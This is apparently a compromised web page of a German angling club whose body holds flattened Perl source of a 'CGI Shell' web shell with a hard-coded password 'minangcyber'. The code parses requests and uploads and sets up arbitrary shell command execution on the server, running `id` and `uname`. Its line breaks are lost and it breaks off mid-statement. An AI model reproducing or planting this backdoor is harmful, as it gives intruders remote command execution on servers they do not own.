ANGELVEREIN BRUNSBÜTTEL E.V.

Leher Querwegsfleet

#!/usr/bin/perl -I/usr/local/bandminuse MIME::Base64;$Version= "CGI Shell";$EditPersion="";$Password = "minangcyber"; # Change this. You will need to enter this # to login.sub Is_Win(){ $os = &trim($ENV{"SERVER_SOFTWARE"}); if($os =~ m/win/i){ return 1; }else{ return 0; }}$WinNT = &Is_Win(); # You need to change the value of this to 1 if # you're running this script on a Windows NT # machine. If you're running it on Unix, you # can leave the value as it is.$NTCmdSep = "&"; # This character is used to seperate 2 commands # in a command line on Windows NT.$UnixCmdSep = ";"; # This character is used to seperate 2 commands # in a command line on Unix.$CommandTimeoutDuration = 30; # Time in seconds after commands will be killed # Don't set this to a very large value. This is # useful for commands that may hang or that # take very long to execute, like "find /". # This is valid only on Unix servers. It is # ignored on NT Servers.$ShowDynamicOutput = 1; # If this is 1, then data is sent to the # browser as soon as it is output, otherwise # it is buffered and send when the command # completes. This is useful for commands like # ping, so that you can see the output as it # is being generated.# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!$CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);$CmdPwd = ($WinNT ? "cd" : "pwd");$PathSep = ($WinNT ? "\" : "/");$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");$cols= 130;$rows= 26;#------------------------------------------------------------------------------# Reads the input sent by the browser and parses the input variables. It# parses GET, POST and multipart/form-data that is used for uploading files.# The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.# Other variables can be accessed using $in{'var'}, where var is the name of# the variable. Note: Most of the code in this function is taken from other CGI# scripts.#------------------------------------------------------------------------------sub ReadParse { local (*in) = @_ if @_; local ($i, $loc, $key, $val); $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart/form-data; boundary=(.+)$/; if($ENV{'REQUEST_METHOD'} eq "GET") { $in = $ENV{'QUERY_STRING'}; } elsif($ENV{'REQUEST_METHOD'} eq "POST") { binmode(STDIN) if $MultipartFormData & $WinNT; read(STDIN, $in, $ENV{'CONTENT_LENGTH'}); } # handle file upload data if($ENV{'CONTENT_TYPE'} =~ /multipart/form-data; boundary=(.+)$/) { $Boundary = '--'.$1; # please refer to RFC1867 @list = split(/$Boundary/, $in); $HeaderBody = $list[1]; $HeaderBody =~ / | /; $Header = $`; $Body = $'; $Body =~ s/ $//; # the last was put in by Netscape $in{'filedata'} = $Body; $Header =~ /filename="(.+)"/; $in{'f'} = $1; $in{'f'} =~ s/"//g; $in{'f'} =~ s/s//g; # parse trailer for($i=2; $list[$i]; $i++) { $list[$i] =~ s/^.+name=$//; $list[$i] =~ /"(w+)"/; $key = $1; $val = $'; $val =~ s/(^( | ))|( $| $)//g; $val =~ s/%(..)/pack("c", hex($1))/ge; $in{$key} = $val; } } else # standard post data (url encoded, not multipart) { @in = split(/&/, $in); foreach $i (0 .. $#in) { $in[$i] =~ s/+/ /g; ($key, $val) = split(/=/, $in[$i], 2); $key =~ s/%(..)/pack("c", hex($1))/ge; $val =~ s/%(..)/pack("c", hex($1))/ge; $in{$key} .= "" if (defined($in{$key})); $in{$key} .= $val; } }}#------------------------------------------------------------------------------# function EncodeDir: encode base64 Path#------------------------------------------------------------------------------sub EncodeDir{ my $dir = shift; $dir = trim(encode_base64($dir)); $dir =~ s/( | )//; return $dir;}#------------------------------------------------------------------------------# Prints the HTML Page Header# Argument 1: Form item name to which focus should be set#------------------------------------------------------------------------------sub PrintPageHeader{ $EncodeCurrentDir = EncodeDir($CurrentDir); my $id = `id` if(!$WinNT); my $info = `uname -s -n -r -i`; print "Content-type: text/html "; print <